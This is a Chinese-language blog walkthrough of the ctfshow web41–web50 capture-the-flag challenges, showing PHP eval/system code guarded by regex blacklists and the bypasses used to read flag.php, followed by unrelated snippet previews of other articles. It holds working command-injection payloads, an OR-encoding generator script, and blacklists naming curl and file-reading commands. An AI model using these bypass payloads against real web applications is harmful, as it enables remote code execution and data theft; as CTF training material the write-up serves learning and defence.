ctfshow web41-web50

web41

代码审计

<?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

过滤了:[0-9] [a-z] ^ + ~ $ [ ] { } & -

这次字母过滤了,字符不是很多

思路:通过特殊字符来构造字母从而实现代码执行

这里根据题目提示已经给了一篇博客

https://blog.csdn.net/miuzzx/article/details/108569080

第一个脚本运行结果是

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

解释一下是怎么得来的

eg:A %40 %01

十六进制的40=十进制的64=二进制0100 0000

十六进制的01=十进制的01=二进制0000 0001

二者进行或运算

0100 0000

0000 0001

0100 0001 等于十进制65

十进制65对应的ascii码中A

如构造一个 (system)('ls')

("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%00%0c%13%00"|"%27%60%60%27")

其中 %13|%60=s     %19|%60=y      %14|%60=t
很明显可以看出来就是将前半部分组合到一起 | 后半部分组合到一起

不理解的话可以具体去看一下这个网址带着的表

在线进制转换 - 码工具

运行结果

参考:《CTFshow-Web入门》05. Web 41~50_ctfshow web41-CSDN博客

找到了另一篇参考

下面可以直接修改ls

python脚本可以直接出编码,就不用手打了

import re
import urllib
from urllib import parse
hex_i = ""
hex_j = ""
pattern='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'
str1=["system","ls"]
for p in range(2):
    t1 = ""
    t2 = ""
    for k in str1[p]:
        for i in range(256):
            for j in range(256):
                if re.search(pattern,chr(i)) :
                    break
                if re.search(pattern,chr(j)) :
                    continue
                if i < 16:
                    hex_i = "0" + hex(i)[2:]
                else:
                    hex_i=hex(i)[2:]
                if j < 16:
                    hex_j="0"+hex(j)[2:]
                else:
                    hex_j=hex(j)[2:]
                hex_i='%'+hex_i
                hex_j='%'+hex_j
                c=chr(ord(urllib.parse.unquote(hex_i))|ord(urllib.parse.unquote(hex_j)))
                if(c ==k):
                    t1=t1+hex_i
                    t2=t2+hex_j
                    break
            else:
                continue
            break
    print("(\""+t1+"\"|\""+t2+"\")")

这里加了换行

用bp抓包

学习了大佬的方法,刚开始我bp抓包总是抓不到,于是用

open browser试了一下成功了

转为 post 请求来传递一下参数 发给重发器

添加下面的参数,ls显示目录

(system)(ls)

c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60")

"system""cat flag.php"

(system)(cat flag.php)
c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")

ctfshow{4f59f180-57f0-4d24-8fac-d9ddca4e608d}

小结一下这题:

由于过滤了字母,我们需要用字符来构成字母,根据题目提示用或运算构造字符,具体怎么构造参考上面的eg

理解了是怎么构造的,用脚本构造即可

bp抓包,用post构造参数,传参即可

参考资料:

CTFshow wbe41 教你写脚本_ctfshow web41-CSDN博客

另一个参考资料的另一种方法有点看不懂

《CTFshow-Web入门》05. Web 41~50_ctfshow web41-CSDN博客

system('ls')
('system')('ls')
(system)('ls')
('system')(ls)
是一样的,都可以执行
web42

提示:

cat flag.php%0a 查看源代码

代码审计

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

代码分析:

system($c." >/dev/null 2>&1");: 使用PHP的system()函数执行用户提供的命令。在这里,用户提供的命令被附加到>/dev/null 2>&1,这个部分的作用是将命令的输出和错误重定向到/dev/null,这样就不会将输出发送到Web页面上

直接用提示上的

方法1

?c=cat flag.php ||

没有回显,在源代码

/?c=cat flag.php ||

方法2

直接让拼接的命令换行。

/?c=cat flag.php %0a

方法3

更容易理解

执行/?c=ls无回显

执行/?c=ls;ls

叫双写绕过,因为;的分割,此处是将第二个ls写入黑洞了

/?c=tac flag.php;(tac反向输出)

此处主要是分号起到了分割的作用,与前面大同小异

原理:

>/dev/null 2>&1 命令简单理解 表示不回显。

/dev/null 文件描述符,往里面写的所有数据都不会保存,也就是将返回结果写到黑洞里面

也就是c参数的所有返回结果是不显示的

Shell脚本———— /dev/null 2>&1详解 - Tinywan - 博客园

讲的更详细

要让命令回显,可以进行命令分隔,以此来绕过:

;     分号
|     只执行后面那条命令
||    只执行前面那条命令
&     两条命令都会执行
&&    两条命令都会执行

或者直接使用 %0a(换行符,url 编码)将其分隔。

我的只有; || %0a能在源码中看到

web43

代码审计

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

在web42的基础上,正则表达式过滤了; cat

方法1

可以看到提示:

nl flag.php%0a 查看源代码

确实出来了

/?c=nl flag.php%0a
/?c=nl flag.php%0a

换一个命令,且使用换行符的 url 编码让 >/dev/null 2>&1 换行

方法2

执行/?c=ls&&ls

用两个&起到命令分割的作用代替;

&& 前也就是第一个命令执行成功后才会执行第二个命令

第二个命令输出黑洞

用的时候要进行url编码

/?c=ls%26%26ls

/?c=tac flag.php%26%26ls
/?c=tac flag.php%26%26ls

ctfshow{9190daf7-1b68-4c22-b21b-0c4c87f2e767}
web44

提示:

nl fla*.php%0a 查看源代码

代码审计

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

在web42的基础上,正则表达式过滤了; cat flag

简单的通配符绕过(通配符就是代表任意字符,虽然flag被过滤了,也可以用通配符过滤出来)

方法1:

使用提示的方法

/?c=nl fla*.php%0a

源码里有

方法2:

/?c=ls %26%26ls

(记得两个&&要进行url编码)

/?c=tac fla*.php %26%26 ls

方法3

/?c=tac fl''ag.php ||

web45

代码审计

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了; cat flag 空格

直接试一下前面的方法(试了不行)

发现一个很好的思路:将空格进行url编码

空格对应的url编码是%20,试一下发现也不行

引入ascii码表的水平制表符

ASCII码一览表,ASCII码对照表

有一个作用是 分隔字段:在某些文件格式(如CSV)中,水平制表符可以用作字段之间的分隔符,以便在数据中区分不同的字段。

%09(tab)
/?c=tac%09fla*.php||

web46

提示

nl<fla''g.php||

代码审计

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了; cat flag 空格 [0-9] $ *

过滤了数字,编码方式就不行了

用提示的方法

/?c=nl%3Cfla''g.php||

%3C是<的url编码

/?c=nl%3Cfla''g.php||

源代码

到这里时我有一个疑问:明明数字被过滤了,为什么水平制表符%09还可以继续代替空格使用?

解释: 其中,[0-9]表示匹配任何一个数字字符。正则表达式中的|表示逻辑或的关系,即满足其中一项条件即可匹配。由于正则表达式中没有明确指定对水平制表符的过滤,因此在过滤的逻辑中会被忽略。

在使用时,url会自动解码就没有数字了,解码后就是水平制表符

方法2

/?c=tac%09fl''ag.php||
/?c=tac%09fl''ag.php||

也可以fla? fl?g等

web47

提示:

nl<fla''g.php||

代码审计

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

过滤了:; cat flag 空格 [0-9] $ * more less head sort tail

比web46多了一些文件读取命令,但未过滤tac

用web46的payload

/?c=tac%09fl''ag.php||

其他命令同理

web48

代码审计

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了:; cat flag 空格 [0-9] $ * more less head sort tail sed cut awk strings od curl `

同web47,用web46的payload

/?c=tac%09fl''ag.php||

说明在linux下读取文件的命令有很多,过滤那么多,少一个都不行

web49

代码审计

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了:; cat flag 空格 [0-9] $ * more less head sort tail sed cut awk strings od curl ` %

这里虽然过滤了%,但我们的%09会被url解码为水平制表符

同web47,用web46的payload

/?c=tac%09fl''ag.php||

web50

代码审计

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了:; cat flag 空格 [0-9] $ * more less head sort tail sed cut awk strings od curl ` % x09 x26

可以看到x09和%都被过滤了

/?c=tac<>fl''ag.php||
/?c=tac<>fl''ag.php||

/?c=nl<fl''ag.php||

小结:liunx下读取命令的方式有很多种,这些不是唯一的解法,掌握的解法越多,对命令运用会更熟练

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/571642.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

介绍一个开源IOT组态项目

项目介绍 金合可视化平台是一款强大而操作简便的低代码平台&#xff0c;专为满足物联网领域的可视化开发需求而设计。通过该平台&#xff0c;用户可以利用拖拽配置的方式&#xff0c;轻松创建个性化的可视化大屏&#xff0c;无需熟练的编程技能&#xff0c;大幅提高了开发效率。…

报错import build constraints exclude all Go files in

好久没用fyne突然报错 报错import ...go-gl.. build constraints exclude all Go files in go-gl .. 检查gcc --version正常输出 检查gcc版本正常&#xff0c;路径正常。 尝试解决的方法&#xff0c; 1.重新安装依赖&#xff0c;不行 2.重新配置下载地址&#xff0c;不…

制作github.io学术个人主页

制作如图的学术个人主页。About me - Xianwen Ling’s Blog 学术个人主页是一个学者展示个人学术成果和研究方向的重要工具。个人主页可以集中展示学者的研究论文、出版物、演讲和发布的项目等学术成果&#xff0c;这样其他人可以更方便地了解和评估学者的研究贡献。个人主页可…

基于uni-app的动态表单

一、应用场景和意义 可以通过配置字段和校验规则&#xff0c;快速完成页面开发、提升开发效率 二、应用前提 形成ui/业务规范&#xff0c;最好是应用在问卷调查之类的业务 三、动态表单的功能 字段报错、快速滚动定位报错信息、支持字段值和字段规则拆分&#xff0c;便于实…

Linux安装Matlab运行时

一般而言&#xff0c;安装Matlab的linux系统是带桌面版的&#xff0c;如果没带&#xff0c;不在本教程范围内。 一、下载Matlab 下载地址&#xff1a;MATLAB Runtime - MATLAB Compiler - MATLAB 本教程使用R2020b(9.9) 二、linux系统中进行解压 将zip传入linux系统&#xf…

微电子领域常见概念(八)靶材

微电子领域常见概念&#xff08;八&#xff09;靶材 靶材是用于物理气相沉积&#xff08;PVD&#xff09;技术中的一种关键材料&#xff0c;它在制备薄膜的过程中起到至关重要的作用。PVD技术包括多种不同的工艺&#xff0c;如磁控溅射、离子束溅射、分子束外延&#xff08;MBE…

Vue:vue的工程化

Vue前端工程化 前后端分离开发 即前端人员开发前端工程,将开发好的前端工程打包部署在前端服务器上 后端开发人员开发后端工程,再将后端工程打包部署在后端服务器上,这种模式称为前后端分离开发 而前后端要顺利对接的关键就是要遵循一定的开发规范 开发规范 这种开发规范定…

CCF区块链会议--Middleware 2024 截止5.24 附录用率

会议名称&#xff1a;Middleware CCF等级&#xff1a;CCF B类会议 类别&#xff1a;软件工程/系统软件/程序设计语言 录用率&#xff1a;2022年录用率38%&#xff08;8/21&#xff09; Topics of Interest The Middleware conference seeks original submissions of resear…

LAMP(Linux+Apache+MySQL+PHP)环境介绍、配置、搭建

LAMP(LinuxApacheMySQLPHP)环境介绍、配置、搭建 LAMP介绍 LAMP是由Linux&#xff0c; Apache&#xff0c; MySQL&#xff0c; PHP组成的&#xff0c;即把Apache、MySQL以及PHP安装在Linux系统上&#xff0c;组成一个环境来运行PHP的脚本语言。Apache是最常用的Web服务软件&a…

科技赋能无人零售

科技赋能无人零售&#xff0c;使其具备以下独特优势&#xff1a; 1. 全天候无缝服务 &#xff1a;无人零售店依托科技&#xff0c;实现24小时不间断运营&#xff0c;不受人力限制&#xff0c;满足消费者随时购物需求&#xff0c;尤其惠及夜间工作者、夜猫子及急需购物者&…

微前端是如何实现作用域隔离的?

微前端是如何实现作用域隔离的&#xff1f; 一、前言 沙箱&#xff08;Sandbox&#xff09;是一种安全机制&#xff0c;目的是让程序运行在一个相对独立的隔离环境&#xff0c;使其不对外界的程序造成影响&#xff0c;保障系统的安全。作为开发人员&#xff0c;我们经常会同沙…

03-JAVA设计模式-访问者模式

访问者模式 什么是访问者模式 访问者模式&#xff08;Visitor Pattern&#xff09;是软件设计模式中的一种行为模式&#xff0c;它用于将数据结构中的元素与操作这些元素的操作解耦。这种模式使得可以在不修改数据结构的情况下添加新的操作。 在访问者模式中&#xff0c;我们…

PHP+MYSQL多条件选一通用搜索系统功能单文件7KB

通用功能: 快速填写参数用于自己的mysql数据表搜索,ajax载入数据 <?php header("content-Type: text/html; charsetUTF-8"); //error_reporting(0);$dbhost "localhost"; //数据库地址本地localhost $dbuser "chalidecom"; //数据库账号 …

Tkinter是什么?

Tkinter是Python标准库中的一个模块&#xff0c;用于创建图形用户界面&#xff08;GUI&#xff09;应用程序。它提供了一组工具和组件&#xff0c;使开发者能够在Python中创建窗口、按钮、标签、文本框、菜单等各种界面元素&#xff0c;并通过这些元素构建交互式的用户界面。 T…

稀碎从零算法笔记Day59-LeetCode: 感染二叉树需要的总时间

题型&#xff1a;树、图、BFS、DFS 链接&#xff1a;2385. 感染二叉树需要的总时间 - 力扣&#xff08;LeetCode&#xff09; 来源&#xff1a;LeetCode 题目描述 给你一棵二叉树的根节点 root &#xff0c;二叉树中节点的值 互不相同 。另给你一个整数 start 。在第 0 分钟…

Three.js入门学习笔记

学习资料&#xff1a; 【Three.js】Three.js快速上手教程_three.module.js-CSDN博客 2024年了&#xff0c;是该学学Three.js了_three.js 2024-CSDN博客 一、three.js简介 three.js是JavaScript编写的WebGL第三方库。 three.js&#xff0c;webGL&#xff0c;openGL三者的关…

微信小程序4~6章总结

目录 第四章 页面组件总结 4.1 组件的定义及属性 4.2 容器视图组件 4.2.1 view 4.2.2 scroll-view 4.2.3 swiper 4.3 基础内容组件 4.3.1 icon ​编辑 4.3.2 text 4.3.3 progress ​编辑 4.4 表单组件 4.4.1 button 4.4.2 radio 4.4.3 checkbox 4.4.4 switch …

第27天:安全开发-PHP应用TP框架路由访问对象操作内置过滤绕过核心漏洞

第二十七天 一、TP框架-开发-路由访问&数据库&文件上传&MVC模型 1.TP框架-开发-配置架构&路由&MVC模型 参考&#xff1a;https://www.kancloud.cn/manual/thinkphp5_1 配置架构-导入使用路由访问-URL访问数据库操作-应用对象文件上传操作-应用对象前端页…

51.HarmonyOS鸿蒙系统 App(ArkUI)通知

普通文本通知测试 长文本通知测试 多行文本通知测试 图片通知测试 进度条通知测试 通知简介 应用可以通过通知接口发送通知消息&#xff0c;终端用户可以通过通知栏查看通知内容&#xff0c;也可以点击通知来打开应用。 通知常见的使用场景&#xff1a; 显示接收到的短消息、…

L1-099 帮助色盲 - java

L1-099 帮助色盲 代码长度限制 16 KB 时间限制 400 ms 内存限制 64 MB 栈限制 8192 KB 题目描述&#xff1a; 在古老的红绿灯面前&#xff0c;红绿色盲患者无法分辨当前亮起的灯是红色还是绿色&#xff0c;有些聪明人通过路口的策略是这样的&#xff1a;当红灯或绿灯亮起时&am…